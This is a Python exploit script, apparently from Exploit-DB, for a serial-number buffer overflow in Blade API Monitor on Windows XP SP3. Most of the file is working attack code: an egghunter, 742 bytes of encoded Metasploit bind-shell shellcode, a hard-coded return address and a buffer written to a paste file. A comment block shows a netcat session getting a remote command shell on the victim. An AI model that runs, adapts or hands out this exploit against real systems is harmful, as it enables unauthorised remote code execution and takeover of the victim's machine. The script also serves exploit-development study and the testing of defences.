#!/usr/bin/python -w#---------------------------------------------------------------------------------## Exploit: Blade API Monitor Unicode Bypass (Serial Number BOF) ## Author: b33f (Ruben Boonen) - http://www.fuzzysecurity.com## http://www.fuzzysecurity.com/exploits/8.html## OS: WinXP PRO SP3 ## Software: https://www.exploit-db.com/apps/## f248239d09b37400e8269cb1347c240e-BladeAPIMonitor-3.6.9.2.Setup.exe## ## Unicode Exploit by FullMetalFouad - http://www.exploit-db.com/exploits/18349/ ##---------------------------------------------------------------------------------## This is a super strange exploit. First I would like to commend "FullMetalFouad" ## for the unicode work on the original exploit. Originally I wanted to see if I ## could simplify the process. While I was doing that I lost sight of the fact ## that the instructions had to be printable since we need to copy them from a ## text file. When I opened my POC I saw that all the characters had been## converted to weird blocks (check my site for a screenshot). On a whim I tried ## to paste these characters in the serial number field and amazingly the buffer ## in the debugger was intact but with one important difference, the unicode had ## been converted back to regular ASCII!! Very strange but super fortunate!! If## you want to experiment with the exploit just keep in mind to (1) open it in ## windows notepad and (2) that all the characters need to be converted to those ## blocks for it to work (depending on your buffer this isn't always the case).##---------------------------------------------------------------------------------## root@bt:~# nc -nv 192.168.111.128 9988## (UNKNOWN) [192.168.111.128] 9988 (?) open ## Microsoft Windows XP [Version 5.1.2600] ## (C) Copyright 1985-2001 Microsoft Corp. ## ## C:\Program Files\BladeAPIMonitor>ipconfig ## ipconfig## ## Windows IP Configuration## ## ## Ethernet adapter Local Area Connection: ## ##Connection-specific DNS Suffix. : localdomain##IP Address. . . . . . . . . . . . : 192.168.111.128##Subnet Mask . . . . . . . . . . . : 255.255.255.0##Default Gateway . . . . . . . . . :## ## C:\Program Files\BladeAPIMonitor> ##---------------------------------------------------------------------------------#
filename="PasteMe.txt"#---------------------------------------------------------------------------------## Originally unicode instructions to put an address in EAX, here it is used to## trigger notepad bug and get UNICODE => ASCII conversion...##---------------------------------------------------------------------------------#
UniKill = ("\xB8\x06\xAA\x6F\x50""\x6F\x4C\x6F\x58\x6F""\x05\x73\x00\x6F\xB0""\xB9\xD8\xAA\x6F\xE8")#Egghunter - Marker b33f#Size 32-bytes
hunter = ("\x66\x81\xca\xff""\x0f\x42\x52\x6a""\x02\x58\xcd\x2e""\x3c\x05\x5a\x74""\xef\xb8\x62\x33"#b3"\x33\x66\x8b\xfa"#3f"\xaf\x75\xea\xaf""\x75\xe7\xff\xe7")#msfpayload windows/shell_bind_tcp LPORT=9988 R| msfencode -e x86/alpha_mixed -t c#Size 742-bytes
shellcode = ("\xd9\xe1\xd9\x74\x24\xf4\x59\x49\x49\x49\x49\x49\x49\x49\x49""\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58""\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42""\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b\x4c""\x48\x68\x4b\x39\x37\x70\x45\x50\x53\x30\x71\x70\x4f\x79\x69""\x75\x34\x71\x79\x42\x53\x54\x4c\x4b\x71\x42\x64\x70\x6c\x4b""\x42\x72\x66\x6c\x6c\x4b\x73\x62\x57\x64\x4e\x6b\x73\x42\x36""\x48\x36\x6f\x4f\x47\x71\x5a\x44\x66\x56\x51\x49\x6f\x75\x61""\x69\x50\x4c\x6c\x45\x6c\x61\x71\x61\x6c\x63\x32\x44\x6c\x47""\x50\x49\x51\x6a\x6f\x56\x6d\x55\x51\x49\x57\x4b\x52\x58\x70""\x62\x72\x76\x37\x4e\x6b\x56\x32\x34\x50\x6c\x4b\x47\x32\x37""\x4c\x73\x31\x5a\x70\x6c\x4b\x61\x50\x62\x58\x4d\x55\x49\x50""\x63\x44\x50\x4a\x36\x61\x5a\x70\x50\x50\x6e\x6b\x33\x78\x74""\x58\x4c\x4b\x63\x68\x57\x50\x45\x51\x4a\x73\x38\x63\x67\x4c""\x42\x69\x4e\x6b\x56\x54\x6c\x4b\x47\x71\x7a\x76\x35\x61\x59""\x6f\x56\x51\x49\x50\x6e\x4c\x6b\x71\x4a\x6f\x46\x6d\x67\x71""\x48\x47\x46\x58\x59\x70\x62\x55\x4a\x54\x56\x63\x43\x4d\x79""\x68\x75\x6b\x73\x4d\x46\x44\x63\x45\x4b\x52\x61\x48\x6e\x6b""\x70\x58\x46\x44\x65\x51\x4b\x63\x32\x46\x4c\x4b\x44\x4c\x50""\x4b\x4c\x4b\x46\x38\x77\x6c\x65\x51\x6b\x63\x4c\x4b\x76\x64""\x6e\x6b\x56\x61\x38\x50\x6e\x69\x32\x64\x76\x44\x44\x64\x71""\x4b\x71\x4b\x75\x31\x73\x69\x72\x7a\x72\x71\x59\x6f\x59\x70""\x76\x38\x63\x6f\x51\x4a\x4c\x4b\x74\x52\x78\x6b\x4e\x66\x71""\x4d\x51\x78\x67\x43\x46\x52\x37\x70\x43\x30\x31\x78\x71\x67""\x51\x63\x35\x62\x71\x4f\x76\x34\x42\x48\x50\x4c\x53\x47\x31""\x36\x54\x47\x69\x6f\x49\x45\x68\x38\x4e\x70\x37\x71\x67\x70""\x35\x50\x37\x59\x7a\x64\x52\x74\x50\x50\x63\x58\x51\x39\x4b""\x30\x30\x6b\x75\x50\x39\x6f\x69\x45\x32\x70\x76\x30\x42\x70""\x66\x30\x73\x70\x62\x70\x31\x50\x42\x70\x43\x58\x49\x7a\x64""\x4f\x4b\x6f\x39\x70\x59\x6f\x5a\x75\x6b\x39\x78\x47\x30\x31""\x49\x4b\x62\x73\x33\x58\x74\x42\x43\x30\x65\x77\x53\x34\x4c""\x49\x4a\x46\x70\x6a\x44\x50\x46\x36\x56\x37\x63\x58\x79\x52""\x39\x4b\x34\x77\x55\x37\x6b\x4f\x38\x55\x62\x73\x76\x37\x53""\x58\x6f\x47\x4b\x59\x37\x48\x6b\x4f\x69\x6f\x58\x55\x72\x73""\x30\x53\x53\x67\x50\x68\x54\x34\x78\x6c\x65\x6b\x6b\x51\x39""\x6f\x6e\x35\x61\x47\x6c\x49\x78\x47\x73\x58\x31\x65\x70\x6e""\x30\x4d\x45\x31\x79\x6f\x49\x45\x43\x58\x50\x63\x70\x6d\x43""\x54\x67\x70\x4d\x59\x39\x73\x76\x37\x53\x67\x32\x77\x56\x51""\x69\x66\x30\x6a\x52\x32\x36\x39\x33\x66\x6a\x42\x6b\x4d\x62""\x46\x6b\x77\x30\x44\x34\x64\x35\x6c\x43\x31\x67\x71\x4c\x4d""\x50\x44\x74\x64\x32\x30\x6f\x36\x75\x50\x53\x74\x70\x54\x32""\x70\x70\x56\x56\x36\x76\x36\x62\x66\x76\x36\x72\x6e\x36\x36""\x52\x76\x71\x43\x30\x56\x73\x58\x64\x39\x7a\x6c\x35\x6f\x6c""\x46\x59\x6f\x6e\x35\x6b\x39\x59\x70\x70\x4e\x51\x46\x47\x36""\x39\x6f\x34\x70\x55\x38\x44\x48\x6c\x47\x37\x6d\x33\x50\x49""\x6f\x4a\x75\x6d\x6b\x5a\x50\x6f\x45\x79\x32\x72\x76\x55\x38""\x4f\x56\x4d\x45\x4f\x4d\x4f\x6d\x6b\x4f\x69\x45\x47\x4c\x67""\x76\x43\x4c\x55\x5a\x6d\x50\x79\x6b\x4d\x30\x51\x65\x33\x35""\x4f\x4b\x62\x67\x37\x63\x31\x62\x62\x4f\x53\x5a\x37\x70\x76""\x33\x49\x6f\x4b\x65\x41\x41")#---------------------------------------------------------------------------------## (*) Due to the wierd conversion i couldn't do proper badchar analysis ## (1) 0x00425e04 : push esp #ret| startnull,ascii ==> BladeAPIMonitor.exe ## (2) egghunter: We do this because we need more space than we have at ESP## (3) alpha mixed Bindshell port 9988 ##---------------------------------------------------------------------------------#
egg = "\x90"*18 + hunter
evil = "\x90"*10 +"b33f"*2 + shellcode
buffer = UniKill +"A"*560 +"\x04\x5E\x42\x00"+ egg +"B"*500 + evil
textfile = open(filename ,'w')
textfile.write(buffer)
textfile.close()
